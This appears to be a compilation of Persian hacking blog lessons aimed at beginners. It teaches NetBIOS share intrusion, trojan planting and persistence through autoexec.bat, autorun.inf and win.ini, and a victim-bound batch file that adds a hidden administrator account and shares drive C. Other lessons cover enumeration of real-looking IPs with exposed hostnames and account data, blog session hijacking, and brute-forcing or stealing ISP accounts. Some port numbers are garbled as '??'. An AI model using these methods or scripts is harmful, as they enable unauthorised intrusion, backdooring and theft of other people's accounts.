getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: \Blcorp\>
شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد :) فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نمي‌گيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم !

FAQ

- آيا Samba به نا امني Netbios ويندوز است ؟
نه اصلا ! Samba يک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسيار پايينه ! فرض کنيد از طريق سيستم‌عامل ويندوز مي‌خوام اين کامپيوتري که Samba داره رو هک کنم. دستور تايپ شده و جواب بدست اومده بيانگر امنيت Samba ست:
C:\>nbtstat -A 192.168.3.1
Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []
Host not found - يک نفوذ بدون مشکل جدي چقدر طول مي‌کشه ؟
موقع هک کردن Client بايد سريع باشيد ! کل اين مراحل حداکثر 3 يا 4 دقيقه وقت ميگيره , فقط نوشتنش طول ميکشه! :)
- چرا هک کردن Netbios از طريق Unix/Linux راحت تر از Windows هست ؟
خب خيلي سريع تره، ابزارهاي بهتر و از همه مهم‌تر اينکه خودتون در معرض خطر نيستيد :)
1 چگونه از اين امکانات به اشتراک گذاشتن، براي اجراي يک تروجان روي کامپيوتر قرباني استفاده کنيم؟
ما هنوز طريقه استفاده از تروجان رو ياد نگرفتيم ولي سعي مي‌کنم تو يکي از درس‌هاي آينده اونو توضيح بدم. ما اينجا مي‌خواهيم از تروجان در رابطه با پورت ??? استفاده کنيم. حالا سوال اين است که تروجان (trojan) چيست؟
تروجان به‌طور ساده برنامه‌اي اجرايي است، که ما براي طرف مقابل مي‌فرستيم و اگه طرف مقابل اونو اجرا کنه، ما مي‌تونيم کنترل سيستم‌ اونو به دست بياريم. تا اينجا کافي است فعلا ولي بعدا بيشتر توضيح مي‌دم.
حالا همان بحث تروجان ولي در رابطه با پورت 139 :
روش کار به اين صورت است که فرضا من الان تونستم يک درايو رو از يک کامپيوتر با پورت باز Share کنم. حالا فايل تروجان ( سرور تروجان ) را upload مي‌کنم به اون کامپيوتر و اسمي براش انتخاب مي‌کنم که طرف مقابل رو به اجراي فايل تشويق کنه. يک اشتباهي که بعضي‌ها مي‌کنند اينه که بعد از کپي کردن تروجان در کامپيوتر هدف، خود هکر مي‌آد و فايل رو دابل کليک مي‌کنه، در اين حالت تروجان روي کامپيوتر خودمون (هکر) اجرا مي‌شه نه کامپيوتر قرباني. پس ما فقط فايل رو مي‌فرستيم و منتظر مي‌مونيم که طرف مقابل اجرا کنه.
حالا چند روش رو مطرح مي‌کنم که در شرايط خاص حالتي رو ايجاد مي‌کنه که نيازي با دابل‌کليک توسط قرباني نباشد:
1- اگه به درايو C کامپيوتر مقابل دسترسي داريد، يک سطر به فايل autoexec.bat اضافه کنيد که نام و مسير فايل اجرايي را در اون سطر بنويسيد. مثلا اگه اسم تروجان A.o.D.exe باشد و در مسير d:\newfolder باشد، سطري که اضافه مي‌کنيم به صورت زير است:
d:\newfolder\A.o.D.exe
در اين حالت به محض اولين restart کامپيوتر، تروجان اجرا خواهد شد.
2- اگه به درايو C دسترسي داريد، مي‌تونيد فايلي به اسم Autorun.inf ايجاد کنيد و دستورات زير را بنويسيد ( سطر آخر مطابق با همان تروجان فرضي که در مثال قبل گفتيم، نوشته شده است، اونو با توجه به اسم تروجان و مسير اون تغيير دهيد) :
[autorun]
open=d:\newfolder\A.o.D.exe
3- اگه به فولدر ويندوز دسترسي داريد، مي‌تونيد يک سطر مثل همان مثال قبل ولي براي فايل winstart.bat اجرا کنيد. در اين حالت هم به محض restart اجرا خواهد شد.
4- اگه به فولدر ويندوز دسترسي داريد، در فايل win.ini و بعد از قسمتي که [windows] نوشته، اين سطر رو اضافه کنيد:
run=d:\newfolder\A.o.D.exe
5- اگه به فولدر ويندوز دسترسي داريد، مي‌تونيد تروجان رو به فولدر Start Menu\Startup اضافه کنيد. در اين حالت نيازي به ويرايش هيچ فايل ديگري نيست.

ابزارهاي کمکي: - ابزارهاي خط فرماني

enum

اين برنامه را از اينجا داون‌لود کنيد. enum نرم‌افزاري با قابليت‌هاي فوق‌العاده است. از جمله توانايي‌هايي که دارد، در مواردي است که کامپيوتر طرف مقابل براي اعمال sharing از ما پسورد بخواد. در اين موارد مي‌تونيم به کمک enum و ليستي از پسوردهايي که در يک فايل ذخيره شده، تعداد زيادي پسورد رو چک کنيم ( اصطلاحا cracking ) و شايد به نتيجه برسيم. ( اين موضوع را بعدا بيشتر توضيح مب‌دم) کاربردي که الان مد نظر ماست، پيدا کردن ليست share هايي است که کامپيوتر مقابل براي ما باز گذاشته است. مثلا من دستور زير را تايپ کردم، تا ليست اشتراک‌هاي آن ip خاص در آن لحظه رو بدست بيارم:
enum -S 217.218.84.29
و جواب شنيدم:
server: 217.218.84.29
setting up session... success.
enumerating shares (pass 1)... got 10 shares, 0 left:
E$ IPC$ D$ print$ SharedDocs F$ Printer2 ADMIN$ C$ Printer
cleaning up... success.
ملاحظه مي‌فرماييد که درايو‌هاي E و D و F و C و نيز SharedDocs و ... ليست شده است. بقيه مراحل مثل درس ?? است. (دقت کنيد که در اين حالت نيازي به null session نيست ).

nbtscan

اين برنامه را از اينجا داون‌لود کنيد. اين برنامه دقيقا معادل nbtstat است ولي با اين تفاوت که مي‌تونه تعداد زيادي ip رو همزمان تست کنه و ليست share ها رو بدست بياره. اين دقيقا راه‌حلي است براي سوالي که خيلي از شما دوستان پرسيده بودين. مثلا اگه بنويسم:
nbtscan -v -s : 195.219.49.0-30
که ليست اشتراک‌ها رو از ip شماره 195.219.49.0 تا 195.219.49.30 بدست مياره. جواب مي‌شنوم:
195.219.49.1 Recvfrom failed: Connection reset by peer
195.219.49.5 Recvfrom failed: Connection reset by peer
195.219.49.6 Recvfrom failed: Connection reset by peer
195.219.49.7 Recvfrom failed: Connection reset by peer
195.219.49.8 Recvfrom failed: Connection reset by peer
195.219.49.12 Recvfrom failed: Connection reset by peer
195.219.49.23:MRS.ZADE :00U
195.219.49.23:ATINET_MRA :00G
195.219.49.23:MRS.ZADE :03U
195.219.49.23:MAC:44-45-53-54-00-00
195.219.49.28:MAC:44-45-53-54-00-00
195.219.49.26:KIYARASH-R96L0K:00U
195.219.49.26:KIYARASH-R96L0K:20U
195.219.49.26:WORKGROUP :00G
195.219.49.26:WORKGROUP :1eG
195.219.49.26:MAC:00-53-45-00-00-00
195.219.49.22:FARHANG-ZCT780D:00U
195.219.49.22:FARHANG-ZCT780D:20U
195.219.49.22:WORKGROUP :00G
195.219.49.22:WORKGROUP :1eG
195.219.49.22:MAC:00-53-45-00-00-00
195.219.49.29:TESSA :00U
195.219.49.29:WORKGROUP :00G
195.219.49.29:TESSA :03U
195.219.49.29:MAC:44-45-53-54-00-00
195.219.49.25:MAC:44-45-53-54-00-00
در مورد ip هايي که 20U را مي‌بينيد، يعني sharing رو ميشه استفاده کرد.

winfo

اينم از جمله برنامه‌هايي است که بايد بگم آخر برنامه است!! از اينجا داون‌لود کنيد. البته توانايي تست تعداد زيادي ip رو نداره ولي وقتي يه ip رو تست مي‌کنه همه‌چي شو در رو مي‌کنه. (البته ميشه گفت همه اين کارها رو مي‌شه با enum هم انجام داد ). مثلا من دستور زير را تايپ کردم :
winfo 195.219.49.184 -n -v
و به نتايج زير رسيدم:
Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom
- http://www.ntsecurity.nu/toolbox/winfo/
Trying to establish null session...
Null session established.
SYSTEM INFORMATION:
- OS version: 4.0
DOMAIN INFORMATION:
- Primary domain (legacy): DSG
- Account domain: TEHRAN
Warning: Unable to retrieve domain DNS information.
Reason : Not supported by the remote OS.
PASSWORD POLICY:
- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days
- Minimum password age: 0 days
- Password history length: 0 passwords
- Minimum password length: 0 characters
LOCOUT POLICY:
- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0
SESSIONS:
- Computer: ARTAWILL-V0P1QR
- User:
LOGGED IN USERS:
* Administrator
USER ACCOUNTS:
* Administrator
- Password age: 666 days
- Privilege level: Administrator
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for administering the computer/domain
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: Mon Mar 03 23:10:23 2003
- Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in administrator account)
* Guest
- Password age: 680 days
- Privilege level: Guest
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for guest access to the computer/domain
- Account is: Disabled
- User can change password: No
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in guest account)
* TEST
- Password age: 680 days
- Privilege level: User
- Home directory:
- Home directory mapped as:
- Comment:
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: No
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: Yes
WORKSTATION TRUST ACCOUNTS:
INTERDOMAIN TRUST ACCOUNTS:
SERVER TRUST ACCOUNTS:
SHARES:
* ADMIN$
- Type: Special share reserved for IPC or administrative share
- Remark: Remote Admin
* IPC$
- Type: Unknown
- Remark: Remote IPC
* C$
- Type: Special share reserved for IPC or administrative share
- Remark: Default share
بعدا سعي خواهم کرد که در مورد تک تک اينها بحث کنم براتون. ولي به عنوان مثال در آخرها مي‌تونين، share ها رو ببينيد.

NAT

اين برنامه را از اينجا داون‌لود کنيد. يکي از مهم‌ترين کاربرد‌هاي اون crack کردن پسورد sharing است ( مثل enum ). براي کار با NAT کافي است، بنويسيد nat و بعد يک فاصله و بعد ip را مي‌نويسيم. حتما تست کنيد و نتيجه رو ببينيد... ( تکليف براي خودتون )
- و ...

ابزارهاي کمکي: - ابزارهاي گرافيکي

netbrute

اين برنامه را از اينجا داون‌لود کنيد. من از بين ابزارهاي گرافيکي اينو توصيه مي‌کنم اگرچه به اندازه دو نرم‌افزار بعدي مشهور نيست. من نمي‌خوام روش کار با اينو توضيح بدم چون خيلي تابلو‌ ه! ضمنا اين نرم‌افزار داخل خودش يک پورت اسکنر هم داره که خيلي به درد مي‌خوره. حتما حتما حتما داون‌لود کنيد اينو و اونقدر انگولکش کنيد که سر در بيارين ازش. قرار نيست که همي‌چي رو من بهتون بگم !!

Legion

اگه بگم مشهورترين نرم‌افزار اسکن کردن پورت‌ 139 اين نرم‌افزاره، سخن گزافي نيست!! خيلي‌ها کشته مرده اون هستن ولي من زياد ازش خوشم نمي‌آد. اما بايد قبول کرد که کارش واقعا عاليه!!! به هر حال اگه خواستين داول‌لود کنيد، اينجا رو کليک کنيد.

DumpSec يا DumpACL

اين هم خيلي معروفه. اگه خواستين مي‌تونين از اينجا داون‌لود کنيد

آيا چيز ديگه‌اي راجع به اين پورت مونده که بحث نشده باشد؟

بله!
1- يه نرم‌افزاري هست به اسم pqwak که اين‌طوري که مي‌گن، اگه کامپيوتر مقابل ويندوز 98 باشه، مي‌تونه پسورد اونو سه سوت در بياره. ( اين برنامه از نقطه ضعف ويندوز98 راجع به netbios استفاده مي‌کنه و اونو exploit مي‌کنه) چون من درسم راجع به هک کردن سرورهاست و نه کلاينت، پس نبايد زياد به درد ما بخوره ( توجه کنيد که ويندوز ?? تو کار کلاينت‌اش هم مونده، چه برسه به اينکه سرور باشه! ). خودتون بگردين و اونو اگه مي‌خواين پيدا کنيد.
2- ما بحث استفاده از نقاط ضعف پورت‌ها رو هنوز شروع نکرده‌ايم و در مورد پورت 139 هم همينطوره. به عنوان مثال روش‌هايي هست که پورت 139 رو exploit کنيم و اون مراحلي که توش گير مي‌کرديم رو دور بزنيم.
3- نکته آخر راجع به اين پورت اينه که مواظب خودتون باشين. حتما ورزش کنين. سيگار نکشين چون براي سلامتي خيلي بده! ( قابل توجه بعضي‌ها) حرف بابا مامانتون رو گوش کنين. اگه کنکور دارين با اينکه دارين مشروط مي‌شين، به‌جاي هک کردن برين درس بخونين! همين‌ها... باقي بقايت، جانم فدايت ...
تمرين کنيد ياد بگيريد
+ موفق باشيد

........................................................................................................

بدست آوردن اطلاعات از سرور به صورت دستى

سلام
ببخشيد كه من بلاگ رو دير آپديت مىكنم! راستش ديگه نمىرسم مثل اول ادامه بدماگه كسى مىتونه بياد با من بنويسه برام ايمل بده!
امروز مىخوام يه كوچولو در مورد اينكه چگونه بصورت دستى اطلاعاتى از سيرور هدف را بدست بياريم رو بگم!
اصولا ما در قدم اول براى نفوذ به يك سيرور بايد سيرور رو كاملا شناسايى كنيم و دقيقا بفهميم كه چه سيرويسهايى رو آن سيرور كار مىكنند تا به دنبال آسيب پذيريها و exploit هاى ان سيرويسهاى بخصوص باشيم
بهترين کار اين است که ابتدا ليستى از پورتها باز و در حال گوش آن وب سيرور تهيه كنيم! به هر روشى كه مىتوانيد مثلا Port Scanner
فهميدن اينكه هر پورت از چه سيرويس بخصوص استفاده مىكند تقريبا راحت است ، فقط كافى است شما به آن وب سيرور با پورت معين آن سيرويس تلنت كنيد مثلا برا اينكه بفهميد سيرور هدف از چه Mail Server استفاده مىكند بدين صورت عمل مىكنيد :
به آن سيرور روي پرت ?? تلنت مىكنيم بدين صورت
Telnet www.target.com 25
دقت كنيد كه ?? پورت Mail Server هست و اگر سيروريس ديگرى مد نظرمون بود از پورت آن سيرويس استفاده مىكنيم مثلا براى FTP از ?? و الا اخر
اگه بخواهيم نوع وب سيرور رو مشخص كنيم :
ابتدا Command-Prompt ‌رو باز ميكنيم و بعد به پورت ?? يا ???? اون سيرور ( هرپورتى كه وب سيرور در حال اجرا باشه ) تلنت مىكنيم به اين صورت
Telnet www.target.com 80
بعد در قسمت بعدى كه صفحه سياه مىياد جلومون مىنويسم
GET / HTTP/1.0
و جوابى كه خواهيم ديد چيزى شبيه به اين است
HTTP/1.0 404 Object Not Found
Date: Fri, 06 Jun 2003 16:33:06 GMT
Content-Length: 111
Content-Type: text/html
Server: Microsoft-IIS/5.0
Via: 1.1 supercache (NetCache NetApp/5.3.1R2)
كه اين مشخص مىكند كه سيرور از Microsoft-IIS/5.0 استفاده مىكند!
اگر Anonymouse FTp هم فعال باشه مىتونيم نوع O.S و يا سيتم عامل هدف را مشخص كنيم ! بدين صورت :
FTP www.Tarhet.com
بعد براى يوز نيم FTP و براى پاسسورد هم FTP را وارد مىكنيم!
سپس توسط دستور literal syst مىتوانيم سيستم عامل هدف را مشخص كنيم!
نتيجه اى كه ميگيريم چيزي شبيه اين است
215 Windows_NT version 5.0 كه مشخص ميكنه سيرور از Windows NT استفاده مىكنه!
....................................................................................

يافتن IP

مي خوام در مورد يافتن IP صحبت کنم. در اين جلسه يک مثال ساده از يافتن IP در هنگام CHAT خواهيم ديد و همينطور بعدها خواهيم ديد که چطور مي شود فهميد کسي آنلاين هست يا خير و در درسهاي بعد در مورد يافتن IP براي Server ها گپي مي زنيم.
پيدا کردن IP افراد (کامپيوترهائي غير از Server )
دستور Netstatاز دستور netstat ميتوان براي monitor كردن پورتها استفاده نمود. براي اجرا از فرمان dos rompt (مانند درس اول) استفاده مي کنيم. و در صفحه داس Netstat را تايپ کرده و اجرا مي کنيم.
تحليل نتايج: در ستون {Porto} اطلاعاتي مربوط به نوع پورت را مي بينيد (مانند: TCP/UDP)
در {Local Address} آىپى داخلى و يا اسم ميزبان: پورت باز ) را مي بينيد.
در {Foreign Address} را خواهيد ديد كه به شما IP و Hostname را در اين فرمت نشان ميدهد:
IP:Port
در ستون {State} ، حالت connection را مي بينيم که اگر وصل باشد = Established يا تماس waiting = Listening
حال با توجه به تئوري بالا ، بدست آوردن پورتهاى باز را شروع ميكنيم :
پيداکردن IP در برنامه Yahoo Messenger
(من چون با Yahoo Messenger دعواي خونوادگي دارم از اين شروع مي کنم.)
مي خواهيم درباره يک کلاينت مثلا کسي که مثل شما يک اتصال مثلا dial-up به اينترنت دارد و فرضا دارد با شما chat مي کند، اطلاعاتي بدست آوريم.
در اين مورد هم اولين چيز و مهمترين آن، Ip اوست. وقتي با يک نفر از طريق yahoo messenger به صورت Pm چت مي کنيد، در اعلان داس تايت مي کنيم: netstat -n
تحليل نتايج :
سطري را پيدا کنيد که داراي عبارت Local Address يا Foreign Address بوده و به پورت 5101 اشاره مي کند.(يا شبيه آن) Ip طرف مقابل را از ستون Foreign Address از همين سطر پيدا مي کنيم.
اگر در مثال بالا بجاي netstat -n ، از netstat استفاده کنيم، مي بينيم که Ip ها به معادل هاي اسمي تبديل شده اند و در مورد همان سطر آخر به جاي Ip طرف مقابل اسم کامپيوتر فرد را مي بينيد
(نکته : هيچوقت اسم خود را موقع نصب ويندوز بکار نبريد، (تا بترکه چشم حسود)
حالا فرض کنيد که با دو نفر چت مي کنيد. pm ديگر هم اضافه مي شود.(واي ي ي) دوباره دستور netstat -n را تايپ مي کنيم. حالا نتايج زير را بررسي مي کنيم. ? سطر داريم که داراي پورت 5101 باشد، و چون آي پي اولين فرد را مي دانيم، پس آي پي دوم، مربوط به نفر بعد است.
در مثالهاي بالا فرض بر اين است که Explorer شما باز نيست.(بين خودمون باشه، اينم داستان داره!!!)
و......
يک نرم افزار هم وجود داره که اين کار رو برا شما انجا ميده
دريافت برنامه
....................................................................................

چگونه خودمون فايل هك بسازيم؟!

سلام
قبل از هر چيز بگم اين روش تا اونجايى كه مىدونم در ويندوز 2000 , NT , Xp بايد كار كنه!
تا حالا به فكرتون رسيده كه خودتون هم مىتونيد يه چيزى شبيه به تورجان درست كنيد؟! اين كار عملى و خيلى هم ساده هست!
حتما شما با هك كردن از طريق NetBios آشنا هستيد!
اگر نيستيد اين مقاله رو از سايت آراز بخوانيد
پورت 139
netBitos مخفف كلمه Network Basic Input/Onput System است . و اين برنامه در ويندوز براى به اشتراك گذاشتن بعضى چيزها مثل ، درايو ها ، پرنتر ، سى-در روم و .. است ، كه يك هكر مىتواند از سيستم ى كه در آن NetBios ‌فعال باشد و بعضى منابع در آن به اشتراك گذاشته شده باشند استفاده كنه و در نهايت به نحوى كنترل كمپيوتر طرف را در دست بگيره!
اما خوب همه ى كامپوترها كه Netbios انها فعال نيست !! يا اگه باشه هم User name يا پاسسورد ميخواد ، چيزى كه من ميخواستم اينجا بگم اينه كه چگونه خودمون يه فايل ايجاد كنيم كه وقتى براى طرف بفرستيم NetBios آن فعال بشه ( مثلا درايو C آن در حالت اشتراك قرار بگيره ) و يك user name ‌كه تمامى كنترلها ادمين رو داره در كمپوتر مقابل ايجاد كنيم!
اين كار خيلى ساده است و شما فقط بايد چند Command را بلد باشيد
در كل كارى كه اين فايلى كه ما مىخواهيم درست كنيم ميكنه سه مرحله داره
1 - يك User و Password ‌در كمپيوتر ايجاد كنه
2 - ان user ‌را كه ايجاد كرديم در گروه administrators قرار بده كه تمامى كنترلهاى كمپوتر رو داشته باشه
3 - درايو C ‌را در حالت Share ‌قرار بديم!
----------------------------------------------------------------------------------------------------
مرحله يك
شما اگه الان بخواهيد يك user در كمپيوتر خودتان ايجاد كنيد بايد از اين Command در Command -Prompt ‌استفاده كنيد :
net user RedStorm password /add
فرمان بالا يك User به اسم RedStorm ايجاد مىكنه كه كلمه عبور آن Password باشد
مرحله دو
براى اينكه RedStorm را در گروه administrators قرار بديد از اين كاممند بايد استفاده كنيم
net localgroup administrators RedStorm /add
مرحله سه
براى اينكه درايو C را در حالت اشتراك بگذاريد از اين فرمان بايد در Command-Prompt ‌استفاده كنيم
net share CDRIVE=C:\
خوب ديگه تنها كارى كه باقى مونده اينه كه يه Text ‌باز كنيم و به ترتيب هر سطر، يكى از دستورات بالا را بنويسم و با پاسسوند Bat به جاى پاسسوند TXT ‌سيو كنيم و اون فايل را براى طرف بفرستيم!
....................................................................................

چگونه وبلاگ هک کنيم؟

خب گتم اين دم آخري يه چيزي بگم که تا حالا کسي نخواسته گه اونمهمين هک کردن وبلاگه که در عين حالي که خيلي ساده هست خيلي هم خطرناکه چون من شايد ديگه تو وب سايتم ننويسم براي همين مي خوام اين رو بگم در ضمن هک کدن وبلاگ خيلي روش داره که من انجا يکي رو به طور کامل توضيح مي دم
هک کردن وبلاگ
اگه بخواين يه وبلاگ رو اساسي هک کنين بايد يه جوري تو پرشين بلاگ نفوذ کنين که اصلا اصلا براي شما ها خوب نيست چون امکان داره گير بيفتين اما به راه هست که احتمالش خيلي بالا هست
شايد تا حالا اسم سشن آي دي به گوش شما خورده باشه بله با استفاده زا همين ما وبلاگ هک مي کنيم
خب سشن آي دي ها به چه درد مي خورن؟
وقتي شما يه درخواست براي يه وب مي فرستين اون سرور با استفاده از يه سري الگوريتم يه سشن آي دي براي شما توليد مي کنه و تو همون صفحه ه جايي پنهانمي کنه و در درخواست بعدي که شما مي فرستين اون سشن آي دي نيز فرستاده مي شه و به اين ترتيب وب سرور مي فهمه که شما چي هستين و تا کجا ها آمده بوين!!؟؟؟؟
خب انواع سشن آي دي يا همونکه چه جوري پيدا کنيم؟؟؟!!؟؟
خب سشن اي دي ها معمولا سه نوع ذخيره مي شن
در کوکي هاي دايم
کوکي هاي موقت
در خود صفحه
که در کوکي هاي دايم و صفحه قابل يافت هستند ولي اگه تو کوکي هاي موقت باشن که با بسته شدن صفحه اونام از بين مي رن چي کار بايد کرد؟
خب يه نرم افزار هست که مي خوام بزارم ولي نمي دونم چه جوري تو شيرميشن يه فلدر آپلود کنم!؟؟؟؟
اگه کسي هست بگه چون حجم اين برنامه هم 500 و خوردي هس خيلي کمه ولي خيلي کار مي کنه
اين نرم افزار مثل پروکسي که تو اموزش هک گگجفتم بين شما و سرويس دهنده قرار مي گيره و تمامي محتويات وب را از سرويس دهنده مي گيره وبه شما مي ده و در ميان آنها اگه سشن آي دي در کوکي هاي موقت هم بخواد ذخيره بشه رو هم نشون مي ده و شما اگه چند بار اين کار رو بکنين تا الگوريتم سشن آي دي بياد دستتون و بعد هم مي تونين اون سشن آي دي رو تغيير بدين و پس بفرستين و شما اين بار نه تنها خودتون نيستين بلکه مثال اينه که دو نفرين و دارين از يه سرويس دهنده استفاده مي کنين و شما در کنار او سرويس مي گيرين خب اين يکي از راه ها بود که بتونين وبلاگ هک کنين ولي اين رو هم بگما خيلي روش هاي ديگه هم هست مثل گرفتن پسورد ايميل طرف و نفوذ در سرور و ....(ايني که .... هست شونصد درصد جواب م ده اما حيف حيف که کلاه صورتي خيلي خيلي زياده)و استفاده از مشکل سرور و ............که شونصد سال طول مي کشه که من بگم اما همين رو داشته باشين تا بعد
شايد من تا يه مدتي نتونم بويسم ولي به هر حال ممنون که اينهمه پيام مي ذارين خداوکيلي چرا بايد هميشه آدم يه نفر رو داشته باشه!!؟؟اگه جوابي دارين همين جا بگين
اينم از اين که گذشت اما تا وقتي که زنده هستين اين رو يادتون باشه که هميشه يه چيز نيست و هيچي مطلق نيست به قول آقا محسن هيچي مطلق نيست جز اون خداغيي که بالا سرمونه!؟
سريلند و کاميار باشيد و يا حق
(اقا من اينا رو خودم هم نفهميدم ولي اگه کسي بلده تو قسمت پيام ها بگه )
....................................................................................

پورت ها و طريقه نفوز به آنها

درس امروز درباره پورت ها و طريقه نفوز به آنها است
من پايه رو بر اين اساس ميذارم که شما با دستورات
اوليه نفوذ آشنا هستيد
خوب ميرسيم به اصل مطلب :
اول بايد مشخص کرد که از کدام پورت
قصد حمله رو داريم همان طور که ميدانيد هر پورت کار خاص خودش را انجام ميدهد
مثلا پورت23 تلنت هستش
و ... خوب براي اين کار برنامه هاي زيادي وجود داره ولي با دستور تلنت به راحتي ميتوان
نفوذ کرد
خوب براي اين کار داس را بالا آورده و اين دستور را تايپ کنيد
telnet ipadress port
خوب در اينجا به جاي ipadress آدرس ip و به جاي port همان پورتي که قصد حمله از طريق

آن را داريد را بنويسيد
خوب اينم برنامه هايي که خيلي به درد شما ميخوره
اين برنامه ها تمام اطلاعات درباره آدرس ip وارد شده به همراه تمام پورت هاي باز روي
سيستم را به شما ميدهد
و کار شما را راحت ميکند
خوب اين تازه اولين سري هستش منتظر بقيه شم باشيد
خوب برنامه ي
languard هم از اينجابگير
....................................................................................

دودر کردن اکانت از ISP

سلام بچه ها
خوب ميريم سر مطلاب جديد امروز ....
اين روش حمله جزو اولين درس از برنامه آتي من يعني server haching است
خوب بسه ديگه بريم سر درس :
اين روش حمله رو اصتلاحا به اون روش Brute Force ميگن
اول برنامه رو بگيرين از ****اينجا****
خوب من طبق معمول وبلاگ براي اينکه حجم وبلاگ بالا نره من لينک
عکس آموزشي رو که ما از رو اون پيش ميريم رو براتون ****اينجا****گذاشتم
(حتما با Shift روش کليک کنيد تا تو يه صفحه جديد باز شه )
همون طوري که ميبينيد توي عکس سه ? تا مرحله داريم
که من دونه دونه براتون توظيه ميدم
يک .... computername or ip :
تو اين قسمت IP سايتي که مي خواهين از روش acconte بدوزديد رو وارد مي کنيد
يا آدرس اون رو
Port :
تو اين قسمت شما ميتونيد پورت 23 يا 79 رو وارد کنيد البته اگر باز بود
current password :
تو اين قسمت چيزي وارد نکنيد خود برنامه با اينجا کار داره
Usernsme :
تو اين قسمت بايد ايدي که ميخواهيد کرک کنيد رو وهرد کنيد مثلا Username يه کارت
که مي تونيد خودتون هم هدس بزنيد
Dictionary File :
تو اين قسمت بايد اسم ليست پسورد رو انتخاب کنيد
شما هم ميتونيد از برنامه توليد پسورد خود برنامه انتخاب کنيد يا از ليست پسوردي که
خودتون تو يه فايل TXT ذخيره کردين استفاده کنيد ....از رو اينترنت هم ميتونيد بگيريد
دو .....Attack Option
Dictionry Attack :
اگر ميخواهين از ليست پسورد براي پيدا کردن پسورد استفاده کنيد بايد اينجا رو تيک بزنيد
توجه : passlist معمولا يه فايل که تعداد زيادي پسورد توش قرار داره و شما ميتونيد اون رو از
روي اينترنت پيدا کنيد و معمولا يه فايل TXT يا pas هستش
اگر اينجا رو تيک بزنيد بايد آدرس اين فايل رو روي هاردتون يعني جايي که ذخيرش کردين رو
بنويسيد مثلا : c:\new folder\passlist.txt
اين آدري رو بايد تو قسمت قبل يعني Dictionary File وارد کنيد
Brute Force attack :
اين گذينه رو حتما بايد تيک بزنيد
Reconnect on disconnect :
اين يکي رو هم حتما بايد تيک بزنيد
AutoSave every 100 Attack :
اين گذينه بعد از هر ??? بار چک کردن نتيجه رو براتون save ميکنه
سه.....Brute Force option
تو اين قسمت شما بايد نحوه چک کردن پسورد رو تنظيم کنيد مثلا من براتون يه مثال ميزنم
ببينيد مثلا من يه کارت اينتر نت دارم که به اين صورت است :
Username :ma202123
Password: 12156a56
خوب اول من بايد بيام و يه Username درگه رو براي چک کردن حدس بزنم و با کمي تعيير
ميشه به راحتي اين کارو کرد چون اکثر شبکه ها براي Userbame هاي خودشون از يه
فرم خاص استفاده ميکنن مثلا من اين رو انتخاب ميکنم :
ha2565452
دقت کنيد که تعداد کاراکتر ها ثابت است و من فقط سعي کردم اعداد آخر رو تغيير بدم
که شانس وجود داشتن اين username بيشتر ميشه
در قسمت پسورد ما فقط به دوتا فاکتور اهميت ميديم
اول : پسورد اما از چه کارکتر هايي تشکيل شده که در مثال من از ععد و حروف تشکيل شده
پس من بايد بر طبق همين قسمت a-z و 0-9 رو تيک بزنم
دوم : تعداد کارکتر هاي تشکيل دهنده پسورد ما چقدره ؟ که در مثال من 8 تا است
پس من عدد 8 رو بايد در قسمت Number of characters to start on تايپ کنم
اين ديگه بستگي به خلاقيت شما داره و قدرت تشخيص و تفکر شما به عنوان يه هکر
چهار ....در اين قسمت کار تنظيمات ديگه تموم شده و ما بايد براي شروع
دکمه Conecct رو فشار بديم
فقط يادتون باشه که اين روش 50*50 است و احتياج به حوصله زياد داره
موفق باشيد

....................................................................................

دزديدن اکانت از قرباني

امروز يكي از روشهاي نفوذ به سيستم و دزديدن پسسورد را توضيح ميدم . قبل از شروع اين مقاله بايد بگم كه دزديدن Account كار واقعا غير انساني ميباشد و اين مقاله را هم با كمي شك و ترديد نوشتم . در ضمن اگه واقعا با اين قيمتهاي اينترنت يكي رو تصور كنيد كه با سختي يك كارت ميخره و شما اونو بدزدين بايد بگم واقعا براتون متاسفم ! من اين روش را خيلي كلي و خلاصه توضيح ميدم .
ما امروز با برنامه هاي زير كار ميكنيم كه همشون در خود ويندوز وجود دارند :
Wingate,Netbus,Bo, Telnet
فرض كه قرباني خودمون را در ياهو يا هر جاي ديگه پيدا كرديم حالا بايد IP اونو بدست اورده و Wingate رو باز كنيد در جايي كه HOST NAME نوشته شده ادرس اي پي قرباني رو ميديم و در قسمت بعدي به Scan port رفته و Defualt برنامه كه Port 23 هست به 12345 تغيير ميديم و گزينه سوم كه try to open port Only هست را انتخاب كرده و اسكن را بزنيد
